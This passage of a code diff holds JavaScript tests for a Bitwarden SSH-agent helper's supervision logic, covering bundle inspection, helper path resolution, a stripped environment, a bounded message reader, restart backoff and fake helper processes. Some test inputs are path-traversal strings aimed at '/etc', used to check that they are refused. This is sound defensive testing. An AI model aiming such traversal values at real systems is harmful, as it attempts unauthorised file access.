eq("the feature is enabled from it", Model.sshAgentHelperReady(result), true)
|
||||
check("no checksum is claimed for an untracked build",
|
||||
result.checksum === "unchecked", result.checksum)
|
||||
})
|
||||
|
||||
// Both present: the shipped artifact wins, but a broken one does not strand
|
||||
// a developer who has a working local build.
|
||||
inTemp(dir => {
|
||||
const shipped = path.join(dir, "bin", "x86_64-linux")
|
||||
fs.mkdirSync(shipped, { recursive: true })
|
||||
fs.writeFileSync(path.join(shipped, "qs-bitwarden-ssh-agent"), "not a binary\n", { mode: 0o755 })
|
||||
fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS"))
|
||||
const dev = path.join(dir, "agent", "target", "debug")
|
||||
fs.mkdirSync(dev, { recursive: true })
|
||||
fs.copyFileSync(bundled, path.join(dev, "qs-bitwarden-ssh-agent"))
|
||||
fs.chmodSync(path.join(dev, "qs-bitwarden-ssh-agent"), 0o755)
|
||||
const result = inspect(dir)
|
||||
eq("a broken shipped helper falls back to the development build", result.state, "ok")
|
||||
eq("and says which one it used", result.source, "development")
|
||||
})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Failure isolation
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
// The settings diagnostics live in SshAgentSettings.qml; the supervision that
|
||||
// feeds them is still in Panel.qml. Both, or a check lands on whichever half
|
||||
// happens to hold its pattern today.
|
||||
const panelSrc = ["Panel.qml", "SshAgentSettings.qml"]
|
||||
.map(file => fs.readFileSync(path.join(repoRoot, file), "utf8"))
|
||||
.join("\n")
|
||||
check("the helper is inspected before the supervisor is allowed to start",
|
||||
/sshAgentHelperReady\(/.test(panelSrc), "nothing gates startup on the inspection")
|
||||
check("a failed inspection disables only the agent",
|
||||
/sshAgentSupervisable[\s\S]{0,400}?sshAgentHelperReady|sshAgentHelperReady[\s\S]{0,400}?sshAgentSupervisable/.test(panelSrc),
|
||||
"the inspection result does not feed the supervisable gate")
|
||||
check("the source in use is shown in the settings diagnostics",
|
||||
/sshAgentHelperSourceLabel\(/.test(panelSrc),
|
||||
"a user cannot tell whether they are running the shipped or the local helper")
|
||||
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failed, ${pass} passed\n`)
|
||||
failures.forEach(f => console.error(` FAIL ${f}`))
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`ssh-agent-bundle: ${pass} passed`)
|
||||
@@ -0,0 +1,539 @@
|
||||
#!/usr/bin/env node
|
||||
// The panel supervises the SSH companion; it never waits on it. These tests
|
||||
// cover the pure supervision logic (path resolution, the minimal environment,
|
||||
// the bounded NDJSON reader, and the restart state machine) and then drive
|
||||
// that logic with real child processes -- a fake helper and, when it has been
|
||||
// built, the real one -- so the handshake is proven across the process
|
||||
// boundary rather than against a mock.
|
||||
//
|
||||
// node tests/ssh-agent-control.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const os = require("os")
|
||||
const path = require("path")
|
||||
const { spawn } = require("child_process")
|
||||
|
||||
const repoRoot = path.join(__dirname, "..")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.pluginDirFromUrl = pluginDirFromUrl
|
||||
exports.sshAgentHelperPath = sshAgentHelperPath
|
||||
exports.sshAgentHelperCommand = sshAgentHelperCommand
|
||||
exports.sshAgentHelperEnv = sshAgentHelperEnv
|
||||
exports.sshAgentHelloLine = sshAgentHelloLine
|
||||
exports.sshAgentShutdownLine = sshAgentShutdownLine
|
||||
exports.parseAgentEvent = parseAgentEvent
|
||||
exports.sshAgentRestartDelayMs = sshAgentRestartDelayMs
|
||||
exports.sshAgentInitialState = sshAgentInitialState
|
||||
exports.sshAgentReduce = sshAgentReduce
|
||||
exports.sshAgentMaxRestarts = sshAgentMaxRestarts
|
||||
exports.sshAgentHandshakeTimeoutMs = sshAgentHandshakeTimeoutMs
|
||||
exports.sshAgentMaxLineBytes = sshAgentMaxLineBytes
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
const eq = (label, actual, expected) =>
|
||||
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Absolute, plugin-relative helper path
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
eq("plugin dir from a file URL",
|
||||
Model.pluginDirFromUrl("file:///home/u/.config/omarchy/plugins/bw/"),
|
||||
"/home/u/.config/omarchy/plugins/bw")
|
||||
eq("plugin dir keeps a percent-encoded segment",
|
||||
Model.pluginDirFromUrl("file:///home/u/my%20plugins/bw/"), "/home/u/my plugins/bw")
|
||||
eq("plugin dir accepts a bare absolute path", Model.pluginDirFromUrl("/opt/bw/"), "/opt/bw")
|
||||
eq("plugin dir refuses a relative URL", Model.pluginDirFromUrl("plugins/bw"), "")
|
||||
eq("plugin dir refuses a non-file scheme", Model.pluginDirFromUrl("qrc:/bw/"), "")
|
||||
eq("plugin dir refuses traversal", Model.pluginDirFromUrl("file:///opt/bw/../../etc/"), "")
|
||||
eq("plugin dir refuses an encoded traversal", Model.pluginDirFromUrl("file:///opt/bw/%2e%2e/etc/"), "")
|
||||
eq("plugin dir refuses an empty url", Model.pluginDirFromUrl(""), "")
|
||||
eq("plugin dir refuses a non-string", Model.pluginDirFromUrl(null), "")
|
||||
|
||||
eq("helper path is plugin-relative and absolute",
|
||||
Model.sshAgentHelperPath("/opt/bw"), "/opt/bw/agent/target/debug/qs-bitwarden-ssh-agent")
|
||||
eq("helper path refuses a relative plugin dir", Model.sshAgentHelperPath("opt/bw"), "")
|
||||
eq("helper path refuses an empty plugin dir", Model.sshAgentHelperPath(""), "")
|
||||
|
||||
// The source is chosen by the bundle inspection (see ssh-agent-bundle.test.js),
|
||||
// and the command follows it rather than guessing. Launching an unvetted
|
||||
// binary would defeat the point of inspecting one.
|
||||
const helperCmd = Model.sshAgentHelperCommand("/opt/bw", "development")
|
||||
eq("helper runs directly with no shell and no arguments", helperCmd.length, 1)
|
||||
eq("helper command is the absolute helper path", helperCmd[0],
|
||||
"/opt/bw/agent/target/debug/qs-bitwarden-ssh-agent")
|
||||
eq("the shipped helper is launched when that is what was accepted",
|
||||
Model.sshAgentHelperCommand("/opt/bw", "bundled")[0],
|
||||
"/opt/bw/bin/x86_64-linux/qs-bitwarden-ssh-agent")
|
||||
eq("no accepted source launches nothing", Model.sshAgentHelperCommand("/opt/bw", "").length, 0)
|
||||
eq("an unknown source launches nothing", Model.sshAgentHelperCommand("/opt/bw", "elsewhere").length, 0)
|
||||
check("helper command never goes through a shell",
|
||||
!helperCmd.some(a => /^(?:ba)?sh$/.test(path.basename(String(a)))), JSON.stringify(helperCmd))
|
||||
eq("helper command is empty without a plugin dir", Model.sshAgentHelperCommand("", "bundled").length, 0)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Minimal environment
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const env = Model.sshAgentHelperEnv("/run/user/1000")
|
||||
eq("helper environment carries only XDG_RUNTIME_DIR", Object.keys(env).sort().join(","), "XDG_RUNTIME_DIR")
|
||||
eq("helper environment points at the runtime dir", env.XDG_RUNTIME_DIR, "/run/user/1000")
|
||||
for (const banned of ["PATH", "HOME", "BW_SESSION", "BW_PASSWORD", "QSBW_SECRET", "SSH_AUTH_SOCK"]) {
|
||||
check("helper environment omits " + banned, !(banned in env), JSON.stringify(env))
|
||||
}
|
||||
eq("helper environment refuses a relative runtime dir", Model.sshAgentHelperEnv("run/user/1000"), null)
|
||||
eq("helper environment refuses an empty runtime dir", Model.sshAgentHelperEnv(""), null)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Bounded NDJSON reader
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
eq("hello is the versioned v1 handshake", Model.sshAgentHelloLine(), '{"v":1,"type":"hello"}\n')
|
||||
eq("shutdown is a versioned v1 line", Model.sshAgentShutdownLine(), '{"v":1,"type":"shutdown"}\n')
|
||||
|
||||
const ready = Model.parseAgentEvent(JSON.stringify({
|
||||
v: 1, type: "ready", socketPath: "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock",
|
||||
fifoPath: "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo", agentVersion: "0.1.0"
|
||||
}))
|
||||
eq("ready parses", ready.ok, true)
|
||||
eq("ready keeps its socket path", ready.message.socketPath, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock")
|
||||
eq("ready keeps its agent version", ready.message.agentVersion, "0.1.0")
|
||||
|
||||
eq("an empty line is ignored rather than fatal", Model.parseAgentEvent("").code, "EMPTY")
|
||||
check("an empty line does not fail closed", Model.parseAgentEvent("").fatal === false,
|
||||
JSON.stringify(Model.parseAgentEvent("")))
|
||||
eq("malformed JSON fails closed", Model.parseAgentEvent("{not json").code, "MALFORMED")
|
||||
check("malformed JSON is fatal", Model.parseAgentEvent("{not json").fatal === true, "not fatal")
|
||||
eq("a wrong version fails closed", Model.parseAgentEvent('{"v":2,"type":"ready"}').code, "VERSION_MISMATCH")
|
||||
eq("a missing version fails closed", Model.parseAgentEvent('{"type":"ready"}').code, "VERSION_MISMATCH")
|
||||
eq("an unknown type fails closed", Model.parseAgentEvent('{"v":1,"type":"exec"}').code, "UNKNOWN_TYPE")
|
||||
eq("a non-object line fails closed", Model.parseAgentEvent('"ready"').code, "MALFORMED")
|
||||
eq("a ready missing its socket path fails closed",
|
||||
Model.parseAgentEvent('{"v":1,"type":"ready","fifoPath":"/f","agentVersion":"1"}').code, "MALFORMED")
|
||||
|
||||
const overlong = '{"v":1,"type":"error","message":"' + "x".repeat(Model.sshAgentMaxLineBytes()) + '"}'
|
||||
eq("an overlong line fails closed before parsing", Model.parseAgentEvent(overlong).code, "LINE_TOO_LONG")
|
||||
const multibyte = '{"v":1,"type":"error","message":"' + "é".repeat(Model.sshAgentMaxLineBytes() - 100) + '"}'
|
||||
eq("the line cap counts bytes, not characters", Model.parseAgentEvent(multibyte).code, "LINE_TOO_LONG")
|
||||
const justUnder = JSON.stringify({ v: 1, type: "error", code: "X", message: "y".repeat(1024), recoverable: true })
|
||||
eq("a line under the cap still parses", Model.parseAgentEvent(justUnder).ok, true)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Supervision state machine
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const readyLine = JSON.stringify({
|
||||
v: 1, type: "ready", socketPath: "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock",
|
||||
fifoPath: "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo", agentVersion: "0.1.0"
|
||||
})
|
||||
|
||||
function drive(state, events) {
|
||||
const actions = []
|
||||
for (const ev of events) {
|
||||
const step = Model.sshAgentReduce(state, ev)
|
||||
state = step.state
|
||||
actions.push(step.action)
|
||||
}
|
||||
return { state, actions, last: actions[actions.length - 1] }
|
||||
}
|
||||
|
||||
function reachReady(t) {
|
||||
return drive(Model.sshAgentInitialState(), [
|
||||
{ kind: "enabled", value: true, nowMs: t },
|
||||
{ kind: "started", nowMs: t + 1 },
|
||||
{ kind: "line", line: readyLine, nowMs: t + 2 }
|
||||
])
|
||||
}
|
||||
|
||||
const initial = Model.sshAgentInitialState()
|
||||
eq("the supervisor starts disabled", initial.phase, "disabled")
|
||||
check("the signing gate starts closed", initial.gateOpen === false, JSON.stringify(initial))
|
||||
|
||||
const inert = drive(Model.sshAgentInitialState(), [
|
||||
{ kind: "started", nowMs: 0 },
|
||||
{ kind: "line", line: readyLine, nowMs: 1 },
|
||||
{ kind: "exited", exitCode: 1, nowMs: 2 },
|
||||
{ kind: "restartTimer", nowMs: 3 }
|
||||
])
|
||||
eq("disabled mode stays disabled", inert.state.phase, "disabled")
|
||||
check("disabled mode starts nothing", inert.actions.every(a => !a.start && !a.writeHello),
|
||||
JSON.stringify(inert.actions))
|
||||
check("disabled mode never opens the gate", inert.state.gateOpen === false, JSON.stringify(inert.state))
|
||||
|
||||
const enabled = drive(Model.sshAgentInitialState(), [{ kind: "enabled", value: true, nowMs: 0 }])
|
||||
eq("enabling starts the helper", enabled.last.start, true)
|
||||
eq("enabling moves to starting", enabled.state.phase, "starting")
|
||||
check("enabling does not open the gate before the handshake", enabled.state.gateOpen === false,
|
||||
JSON.stringify(enabled.state))
|
||||
|
||||
const handshaking = drive(enabled.state, [{ kind: "started", nowMs: 1 }])
|
||||
eq("a started helper is sent hello", handshaking.last.writeHello, true)
|
||||
eq("a started helper is handshaking", handshaking.state.phase, "handshaking")
|
||||
check("the gate stays closed while handshaking", handshaking.state.gateOpen === false,
|
||||
JSON.stringify(handshaking.state))
|
||||
|
||||
const live = reachReady(0)
|
||||
eq("a v1 ready completes the handshake", live.state.phase, "ready")
|
||||
check("ready opens the signing gate", live.state.gateOpen === true, JSON.stringify(live.state))
|
||||
eq("ready records the socket path", live.state.socketPath, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock")
|
||||
eq("ready records the fifo path", live.state.fifoPath, "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo")
|
||||
eq("ready records the agent version", live.state.agentVersion, "0.1.0")
|
||||
check("no reduction ever asks QML to wait",
|
||||
live.actions.every(a => !("wait" in a) && !("waitMs" in a)), JSON.stringify(live.actions))
|
||||
|
||||
const badVersion = drive(Model.sshAgentInitialState(), [
|
||||
{ kind: "enabled", value: true, nowMs: 0 },
|
||||
{ kind: "started", nowMs: 1 },
|
||||
{ kind: "line", line: '{"v":2,"type":"ready","socketPath":"/s","fifoPath":"/f","agentVersion":"9"}', nowMs: 2 }
|
||||
])
|
||||
eq("a version mismatch stops the helper", badVersion.last.stop, true)
|
||||
eq("a version mismatch is reported", badVersion.state.errorCode, "VERSION_MISMATCH")
|
||||
check("a version mismatch keeps the gate closed", badVersion.state.gateOpen === false,
|
||||
JSON.stringify(badVersion.state))
|
||||
|
||||
const garbage = drive(reachReady(0).state, [{ kind: "line", line: "not json at all", nowMs: 100 }])
|
||||
eq("a malformed line closes the gate", garbage.state.gateOpen, false)
|
||||
eq("a malformed line stops the helper", garbage.last.stop, true)
|
||||
eq("a malformed line is reported", garbage.state.errorCode, "MALFORMED")
|
||||
|
||||
const tooLong = drive(reachReady(0).state, [{ kind: "line", line: overlong, nowMs: 100 }])
|
||||
eq("an overlong line closes the gate", tooLong.state.gateOpen, false)
|
||||
eq("an overlong line is reported", tooLong.state.errorCode, "LINE_TOO_LONG")
|
||||
|
||||
const blank = drive(reachReady(0).state, [{ kind: "line", line: "", nowMs: 100 }])
|
||||
eq("a blank line is ignored", blank.state.phase, "ready")
|
||||
check("a blank line leaves the gate open", blank.state.gateOpen === true, JSON.stringify(blank.state))
|
||||
|
||||
const passthrough = drive(reachReady(0).state, [{
|
||||
kind: "line", nowMs: 100,
|
||||
line: JSON.stringify({ v: 1, type: "keys_loaded", epoch: 7, keyCount: 2, skipped: [] })
|
||||
}])
|
||||
eq("a live event stays ready", passthrough.state.phase, "ready")
|
||||
eq("a live event reaches the panel", passthrough.last.message.type, "keys_loaded")
|
||||
|
||||
const secondReady = drive(reachReady(0).state, [{ kind: "line", line: readyLine, nowMs: 100 }])
|
||||
eq("a duplicate ready is a protocol violation", secondReady.state.errorCode, "PROTOCOL")
|
||||
check("a duplicate ready closes the gate", secondReady.state.gateOpen === false,
|
||||
JSON.stringify(secondReady.state))
|
||||
|
||||
const earlyEvent = drive(handshaking.state, [{
|
||||
kind: "line", nowMs: 5, line: JSON.stringify({ v: 1, type: "locked", epoch: 1 })
|
||||
}])
|
||||
eq("an event before ready is a protocol violation", earlyEvent.state.errorCode, "PROTOCOL")
|
||||
|
||||
const stalled = drive(handshaking.state, [{ kind: "handshakeTimeout", nowMs: 9999 }])
|
||||
eq("a stalled handshake is bounded", stalled.state.errorCode, "HANDSHAKE_TIMEOUT")
|
||||
eq("a stalled handshake stops the helper", stalled.last.stop, true)
|
||||
check("a stalled handshake keeps the gate closed", stalled.state.gateOpen === false,
|
||||
JSON.stringify(stalled.state))
|
||||
|
||||
const eof = drive(reachReady(0).state, [{ kind: "exited", exitCode: 0, nowMs: 100 }])
|
||||
eq("stdout EOF closes the gate", eof.state.gateOpen, false)
|
||||
eq("stdout EOF schedules a restart", eof.last.restartInMs, Model.sshAgentRestartDelayMs(1))
|
||||
eq("stdout EOF backs off", eof.state.phase, "backoff")
|
||||
|
||||
const restarted = drive(eof.state, [{ kind: "restartTimer", nowMs: 200 }])
|
||||
eq("the backoff timer restarts the helper", restarted.last.start, true)
|
||||
eq("the backoff timer returns to starting", restarted.state.phase, "starting")
|
||||
|
||||
eq("backoff step 1", Model.sshAgentRestartDelayMs(1), 500)
|
||||
eq("backoff step 2", Model.sshAgentRestartDelayMs(2), 1000)
|
||||
eq("backoff step 3", Model.sshAgentRestartDelayMs(3), 2000)
|
||||
check("backoff is capped", Model.sshAgentRestartDelayMs(50) === 30000,
|
||||
String(Model.sshAgentRestartDelayMs(50)))
|
||||
check("backoff never goes negative", Model.sshAgentRestartDelayMs(0) >= 0,
|
||||
String(Model.sshAgentRestartDelayMs(0)))
|
||||
|
||||
// A crash loop: every run dies immediately, so nothing ever counts as healthy.
|
||||
let loop = Model.sshAgentInitialState()
|
||||
let loopActions = []
|
||||
let clock = 0
|
||||
loop = Model.sshAgentReduce(loop, { kind: "enabled", value: true, nowMs: clock }).state
|
||||
for (let i = 0; i < Model.sshAgentMaxRestarts() + 2; i++) {
|
||||
clock += 10
|
||||
loop = Model.sshAgentReduce(loop, { kind: "started", nowMs: clock }).state
|
||||
clock += 10
|
||||
const step = Model.sshAgentReduce(loop, { kind: "exited", exitCode: 101, nowMs: clock })
|
||||
loop = step.state
|
||||
loopActions.push(step.action)
|
||||
if (loop.phase !== "backoff") break
|
||||
clock += 10
|
||||
loop = Model.sshAgentReduce(loop, { kind: "restartTimer", nowMs: clock }).state
|
||||
}
|
||||
eq("a crash loop stops restarting", loop.phase, "failed")
|
||||
eq("a crash loop is reported", loop.errorCode, "CRASH_LOOP")
|
||||
check("a crash loop leaves the gate closed", loop.gateOpen === false, JSON.stringify(loop))
|
||||
eq("a crash loop schedules no further restart", loopActions[loopActions.length - 1].restartInMs, -1)
|
||||
check("a crash loop is bounded by the restart cap",
|
||||
loopActions.filter(a => a.restartInMs > 0).length === Model.sshAgentMaxRestarts(),
|
||||
String(loopActions.filter(a => a.restartInMs > 0).length))
|
||||
|
||||
const failedIgnores = drive(loop, [
|
||||
{ kind: "restartTimer", nowMs: clock + 1000 },
|
||||
{ kind: "started", nowMs: clock + 1001 }
|
||||
])
|
||||
eq("a failed supervisor stays failed", failedIgnores.state.phase, "failed")
|
||||
check("a failed supervisor starts nothing", failedIgnores.actions.every(a => !a.start),
|
||||
JSON.stringify(failedIgnores.actions))
|
||||
|
||||
// The loop that actually happens in practice: the helper starts fine, answers
|
||||
// the handshake, serves briefly, and dies -- over and over. Completing a
|
||||
// handshake must not wipe the failure history, or a helper that crashes a
|
||||
// second after every start is restarted forever.
|
||||
{
|
||||
let crashy = Model.sshAgentInitialState()
|
||||
let scheduled = 0
|
||||
let t = 0
|
||||
crashy = Model.sshAgentReduce(crashy, { kind: "enabled", value: true, nowMs: t }).state
|
||||
for (let i = 0; i < Model.sshAgentMaxRestarts() + 3; i++) {
|
||||
t += 10
|
||||
crashy = Model.sshAgentReduce(crashy, { kind: "started", nowMs: t }).state
|
||||
t += 10
|
||||
crashy = Model.sshAgentReduce(crashy, { kind: "line", line: readyLine, nowMs: t }).state
|
||||
// Serves for well under the healthy threshold, then dies.
|
||||
t += 1500
|
||||
const step = Model.sshAgentReduce(crashy, { kind: "exited", exitCode: 137, nowMs: t })
|
||||
crashy = step.state
|
||||
if (step.action.restartInMs >= 0) scheduled++
|
||||
if (crashy.phase !== "backoff") break
|
||||
t += 10
|
||||
crashy = Model.sshAgentReduce(crashy, { kind: "restartTimer", nowMs: t }).state
|
||||
}
|
||||
eq("a helper that handshakes then dies still trips the bound", crashy.phase, "failed")
|
||||
eq("that loop is reported as a crash loop", crashy.errorCode, "CRASH_LOOP")
|
||||
eq("that loop is bounded by the same restart cap", scheduled, Model.sshAgentMaxRestarts())
|
||||
check("that loop leaves the gate closed", crashy.gateOpen === false, JSON.stringify(crashy))
|
||||
}
|
||||
|
||||
// A helper that ran healthily for a long time is not a crash loop.
|
||||
const healthy = drive(reachReady(0).state, [{ kind: "exited", exitCode: 0, nowMs: 10 * 60 * 1000 }])
|
||||
eq("a long healthy run resets the backoff", healthy.last.restartInMs, Model.sshAgentRestartDelayMs(1))
|
||||
eq("a long healthy run keeps supervising", healthy.state.phase, "backoff")
|
||||
|
||||
const disabledMidflight = drive(reachReady(0).state, [{ kind: "enabled", value: false, nowMs: 100 }])
|
||||
eq("disabling stops the helper", disabledMidflight.last.stop, true)
|
||||
eq("disabling cancels a pending restart", disabledMidflight.last.cancelRestart, true)
|
||||
eq("disabling returns to disabled", disabledMidflight.state.phase, "disabled")
|
||||
check("disabling closes the gate", disabledMidflight.state.gateOpen === false,
|
||||
JSON.stringify(disabledMidflight.state))
|
||||
|
||||
const disabledDuringBackoff = drive(eof.state, [{ kind: "enabled", value: false, nowMs: 150 }])
|
||||
eq("disabling during backoff cancels the restart", disabledDuringBackoff.last.cancelRestart, true)
|
||||
eq("disabling during backoff is disabled", disabledDuringBackoff.state.phase, "disabled")
|
||||
|
||||
const reEnabled = drive(loop, [{ kind: "enabled", value: false, nowMs: 1 }, { kind: "enabled", value: true, nowMs: 2 }])
|
||||
eq("re-enabling clears the crash-loop failure", reEnabled.state.errorCode, "")
|
||||
eq("re-enabling starts the helper again", reEnabled.last.start, true)
|
||||
|
||||
const stoppingExit = drive(garbage.state, [{ kind: "exited", exitCode: 143, nowMs: 200 }])
|
||||
eq("an exit after a protocol stop still backs off", stoppingExit.state.phase, "backoff")
|
||||
eq("an exit after a protocol stop keeps its error", stoppingExit.state.errorCode, "MALFORMED")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Real child processes
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const tmpRoot = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-agent-"))
|
||||
const runtimeDir = path.join(tmpRoot, "run")
|
||||
fs.mkdirSync(runtimeDir, { mode: 0o700 })
|
||||
|
||||
function runHelper(command, environment, opts) {
|
||||
return new Promise(resolve => {
|
||||
const child = spawn(command[0], command.slice(1), {
|
||||
env: environment, stdio: ["pipe", "pipe", "pipe"]
|
||||
})
|
||||
let state = Model.sshAgentInitialState()
|
||||
state = Model.sshAgentReduce(state, { kind: "enabled", value: true, nowMs: 0 }).state
|
||||
let buffered = ""
|
||||
let settled = false
|
||||
// The state at the moment the handshake landed. The exit that follows
|
||||
// clears the helper's advertised paths by design, so what `ready` carried
|
||||
// has to be captured while it is still true.
|
||||
let readyState = null
|
||||
const messages = []
|
||||
const finish = () => {
|
||||
if (settled) return
|
||||
settled = true
|
||||
clearTimeout(guard)
|
||||
try { child.kill("SIGKILL") } catch (e) {}
|
||||
resolve({ state, readyState, messages })
|
||||
}
|
||||
const guard = setTimeout(finish, (opts && opts.timeoutMs) || 5000)
|
||||
|
||||
const started = Model.sshAgentReduce(state, { kind: "started", nowMs: 1 })
|
||||
state = started.state
|
||||
if (started.action.writeHello) child.stdin.write(Model.sshAgentHelloLine())
|
||||
|
||||
child.stdout.on("data", chunk => {
|
||||
buffered += chunk.toString("utf8")
|
||||
let nl
|
||||
while ((nl = buffered.indexOf("\n")) >= 0) {
|
||||
const line = buffered.slice(0, nl)
|
||||
buffered = buffered.slice(nl + 1)
|
||||
const step = Model.sshAgentReduce(state, { kind: "line", line: line, nowMs: Date.now() })
|
||||
state = step.state
|
||||
if (step.action.message) messages.push(step.action.message)
|
||||
if (step.action.stop) { try { child.kill("SIGTERM") } catch (e) {} }
|
||||
if (state.phase === "ready" && !readyState) {
|
||||
readyState = state
|
||||
if (opts && opts.stopOnReady) child.stdin.end()
|
||||
}
|
||||
}
|
||||
})
|
||||
child.on("exit", code => {
|
||||
state = Model.sshAgentReduce(state, { kind: "exited", exitCode: code, nowMs: Date.now() }).state
|
||||
finish()
|
||||
})
|
||||
child.on("error", () => finish())
|
||||
})
|
||||
}
|
||||
|
||||
function writeFakeHelper(name, body) {
|
||||
const file = path.join(tmpRoot, name)
|
||||
fs.writeFileSync(file, "#!/usr/bin/env node\n" + body, { mode: 0o700 })
|
||||
return file
|
||||
}
|
||||
|
||||
const fakeReady = writeFakeHelper("fake-ready.js", `
|
||||
process.stdin.resume()
|
||||
let seen = ""
|
||||
process.stdin.on("data", d => {
|
||||
seen += d.toString()
|
||||
if (seen.indexOf('"hello"') >= 0) {
|
||||
process.stdout.write(JSON.stringify({ v: 1, type: "ready",
|
||||
socketPath: "/run/fake/ssh-agent.sock", fifoPath: "/run/fake/ssh-keys.fifo",
|
||||
agentVersion: "0.0.0-fake" }) + "\\n")
|
||||
seen = ""
|
||||
}
|
||||
})
|
||||
process.stdin.on("end", () => process.exit(0))
|
||||
`)
|
||||
|
||||
const fakeGarbage = writeFakeHelper("fake-garbage.js", `
|
||||
process.stdin.resume()
|
||||
process.stdout.write("this is not ndjson\\n")
|
||||
setTimeout(() => process.exit(0), 2000)
|
||||
`)
|
||||
|
||||
const fakeSilent = writeFakeHelper("fake-silent.js", `
|
||||
process.stdin.resume()
|
||||
setTimeout(() => process.exit(0), 60000)
|
||||
`)
|
||||
|
||||
const fakeCrash = writeFakeHelper("fake-crash.js", `process.exit(9)`)
|
||||
|
||||
const fakeFlood = writeFakeHelper("fake-flood.js", `
|
||||
process.stdin.resume()
|
||||
let seen = ""
|
||||
process.stdin.on("data", d => {
|
||||
seen += d.toString()
|
||||
if (seen.indexOf('"hello"') >= 0) {
|
||||
process.stdout.write('{"v":1,"type":"error","code":"X","message":"' + "z".repeat(200000) + '"}\\n')
|
||||
seen = ""
|
||||
}
|
||||
})
|
||||
`)
|
||||
|
||||
const realHelper = path.join(repoRoot, "agent", "target", "debug", "qs-bitwarden-ssh-agent")
|
||||
|
||||
async function processTests() {
|
||||
const nodeBin = process.execPath
|
||||
|
||||
const okRun = await runHelper([nodeBin, fakeReady], Model.sshAgentHelperEnv(runtimeDir), { stopOnReady: true })
|
||||
check("a fake helper completes the handshake", okRun.readyState !== null, JSON.stringify(okRun.state))
|
||||
eq("a fake helper opens the gate on ready", okRun.readyState && okRun.readyState.gateOpen, true)
|
||||
eq("a fake helper reports its version", okRun.readyState && okRun.readyState.agentVersion, "0.0.0-fake")
|
||||
eq("closing stdin ends the fake helper and closes the gate", okRun.state.gateOpen, false)
|
||||
|
||||
const garbageRun = await runHelper([nodeBin, fakeGarbage], Model.sshAgentHelperEnv(runtimeDir))
|
||||
eq("a garbage-emitting helper fails closed", garbageRun.state.errorCode, "MALFORMED")
|
||||
check("a garbage-emitting helper never opens the gate", garbageRun.state.gateOpen === false,
|
||||
JSON.stringify(garbageRun.state))
|
||||
|
||||
const floodRun = await runHelper([nodeBin, fakeFlood], Model.sshAgentHelperEnv(runtimeDir))
|
||||
eq("an overlong helper line fails closed", floodRun.state.errorCode, "LINE_TOO_LONG")
|
||||
|
||||
const crashRun = await runHelper([nodeBin, fakeCrash], Model.sshAgentHelperEnv(runtimeDir))
|
||||
eq("a helper that dies at once backs off", crashRun.state.phase, "backoff")
|
||||
check("a helper that dies at once leaves the gate closed", crashRun.state.gateOpen === false,
|
||||
JSON.stringify(crashRun.state))
|
||||
|
||||
const silentRun = await runHelper([nodeBin, fakeSilent], Model.sshAgentHelperEnv(runtimeDir), { timeoutMs: 1200 })
|
||||
eq("a silent helper never opens the gate", silentRun.state.gateOpen, false)
|
||||
eq("a silent helper stays in the handshake", silentRun.state.phase, "handshaking")
|
||||
|
||||
if (fs.existsSync(realHelper)) {
|
||||
const realRun = await runHelper([realHelper], Model.sshAgentHelperEnv(runtimeDir), { stopOnReady: true })
|
||||
check("the real helper completes the v1 handshake with only XDG_RUNTIME_DIR",
|
||||
realRun.readyState !== null, JSON.stringify(realRun.state))
|
||||
const readyReal = realRun.readyState || { socketPath: "", fifoPath: "", agentVersion: "" }
|
||||
check("the real helper reported a socket under the runtime dir",
|
||||
readyReal.socketPath.indexOf(runtimeDir) === 0,
|
||||
readyReal.socketPath + " (expected under " + runtimeDir + ")")
|
||||
check("the real helper reported a fifo under the runtime dir",
|
||||
readyReal.fifoPath.indexOf(runtimeDir) === 0,
|
||||
readyReal.fifoPath + " (expected under " + runtimeDir + ")")
|
||||
check("the real helper reported a version", /^\d+\.\d+\.\d+$/.test(readyReal.agentVersion),
|
||||
readyReal.agentVersion)
|
||||
check("closing stdin exits the real helper", realRun.state.phase === "backoff",
|
||||
"phase " + realRun.state.phase)
|
||||
eq("the real helper leaves the gate closed once it is gone", realRun.state.gateOpen, false)
|
||||
check("the real helper removed its socket on the way out",
|
||||
!fs.existsSync(readyReal.socketPath), "socket still present at " + readyReal.socketPath)
|
||||
} else {
|
||||
failures.push("the real helper binary is missing\n build it with: cargo build --manifest-path agent/Cargo.toml --locked")
|
||||
}
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The ordinary vault must not depend on the helper
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
// The panel is three QML files now -- the SSH settings sections and the
|
||||
// approval screen have their own. A check that reads only the largest one
|
||||
// silently narrows as markup moves out of it.
|
||||
const panelSrc = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml"]
|
||||
.map(file => fs.readFileSync(path.join(repoRoot, file), "utf8"))
|
||||
.join("\n")
|
||||
